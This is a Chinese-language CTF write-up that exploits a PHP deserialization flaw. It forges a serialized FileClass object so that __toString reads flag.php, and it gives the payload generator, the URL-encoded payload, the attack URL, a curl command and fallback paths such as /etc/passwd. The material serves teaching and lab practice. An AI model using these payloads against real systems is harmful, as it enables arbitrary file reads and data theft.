【CTF-WEB-反序列化】利用__toString魔术方法读取flag.php
题目
页面提示输入?code,那我们在网址里get一下
出现了新页面的提示,进入看看
下面有个help.php页面的提示,进入看看
有一段php代码,仔细分析,应该是要用反序列法
代码如下
class FileClass{ public $filename = 'error.log'; public function __toString(){ return file_get_contents($this->filename); }
}
代码分析
关键点解析:
-
类结构:
FileClass
是一个PHP类public $filename = 'error.log'
:公共属性,默认值为’error.log’public function __toString()
:PHP魔术方法
-
__toString()
魔术方法:- 这是PHP中的特殊方法
- 当对象被当作字符串处理时自动调用
- 例如:
echo $object
、print $object
或字符串连接时 - 本例中它执行
file_get_contents($this->filename)
,那么我们就想办法,让这个方法去读取flag文件
-
文件读取机制:
file_get_contents()
读取文件内容- 读取的文件路径由
$this->filename
决定 - 默认读取
error.log
,但属性值可修改
-
安全漏洞:
- 如果攻击者能控制
$filename
的值 - 就能读取服务器任意文件
- 这是典型的"任意文件读取"漏洞
- 如果攻击者能控制
构造攻击的Payload生成器
将下列代码用php运行,得到结果O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}
<?php
class FileClass{public $filename = 'flag.php';
}$file = new FileClass();
echo serialize($file);
?>
通常flag就存储在这flag.php个文件里
关键点解析:
- 类定义:
- 复制目标网站的类名
FileClass
- 修改
$filename
为攻击目标flag.php
- 复制目标网站的类名
为什么需要完全相同的类名?
在反序列化过程中,PHP会根据序列化字符串中的类名:
- 查找当前是否已定义同名类
- 如果找到,使用该类创建对象
- 如果未找到,创建
__PHP_Incomplete_Class
特殊对象
因此攻击代码中必须使用完全相同的类名FileClass
,否则:- 服务器找不到类定义
- 无法正确创建对象
__toString()
不会被触发
- 对象创建:
$file = new FileClass();
创建对象实例- 此时
$file->filename = 'flag.php'
重写属性值不会破坏__toString()方法,反而让方法基于新值执行,这正是PHP对象序列化漏洞能被利用的根本原因——攻击者可以控制对象状态,而服务器代码会基于该状态执行敏感操作。
-
序列化:
serialize($file)
将对象转为序列化字符串- 结果示例:
O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}
- 格式解析:
O:9:"FileClass"
:对象(类名长度9)1
:1个属性{s:8:"filename"
:属性名(字符串长度8)s:8:"flag.php"
:属性值(字符串长度8)
-
URL编码:
需要对序列化字符串进行编码,这是为了确保在通过URL参数传递时,特殊字符(如双引号、冒号等)不会破坏URL结构。
可以使用urlencode(serialize($file))
进行编码- 确保安全传输:
:
→%3A
"
→%22
;
→%3B
{
→%7B
}
→%7D
- 最终结果:
O%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
- 确保安全传输:
本文实际操作中,URL 编码/解码网站直接对后面的参数进行编码即可。
- 最终攻击网址为:
http://223.112.39.132:44813/index.php?code=O%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
ctf{64e3be45fb0848259cdcc624758a23119d9a035c}
- 查看结果:
- 如果页面显示PHP代码 → 查看网页源代码
- 如果空白 → 尝试其他文件路径
- 常见备选路径:
$filename = '/flag'; // 根目录下的flag文件 $filename = '../../flag.php'; // 上级目录 $filename = '/etc/passwd'; // 测试文件
为什么CTF题目这样设计?
- 漏洞教育:展示反序列化漏洞的实际危害
- 魔术方法风险:演示
__toString()
等魔术方法的安全隐患 - 属性控制:说明用户可控对象属性的危险性
- 文件读取:任意文件读取是常见高危漏洞类型
这种设计完美展示了:当不可信输入直接传递给unserialize()
时,攻击者可以通过控制对象属性实现敏感操作。
为什么这样做能获取flag?
- 服务器存在反序列化漏洞:它接收
code
参数并直接反序列化 - 反序列化后创建了
FileClass
对象 - 当服务器尝试输出该对象时,自动调用
__toString()
方法 - 该方法读取并返回
flag.php
的内容 - 你就能在页面中看到flag文件的内容
现在尝试执行这些步骤,应该能成功获取flag!如果遇到问题,可以尝试不同的文件路径或检查payload格式是否正确。
备注
-
文件路径问题:
- 如果
flag.php
不在当前目录,尝试:/flag
/flag.txt
../../flag.php
/var/www/html/flag.php
- 如果
-
调试技巧:
- 通常,也可以先尝试读取
/etc/passwd
确认漏洞存在:$filename = '/etc/passwd';
- 如果页面显示空白,查看网页源代码
- 也可以使用curl测试:
curl "http://223.112.39.132:44813/help.php?code=O%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D"
- 通常,也可以先尝试读取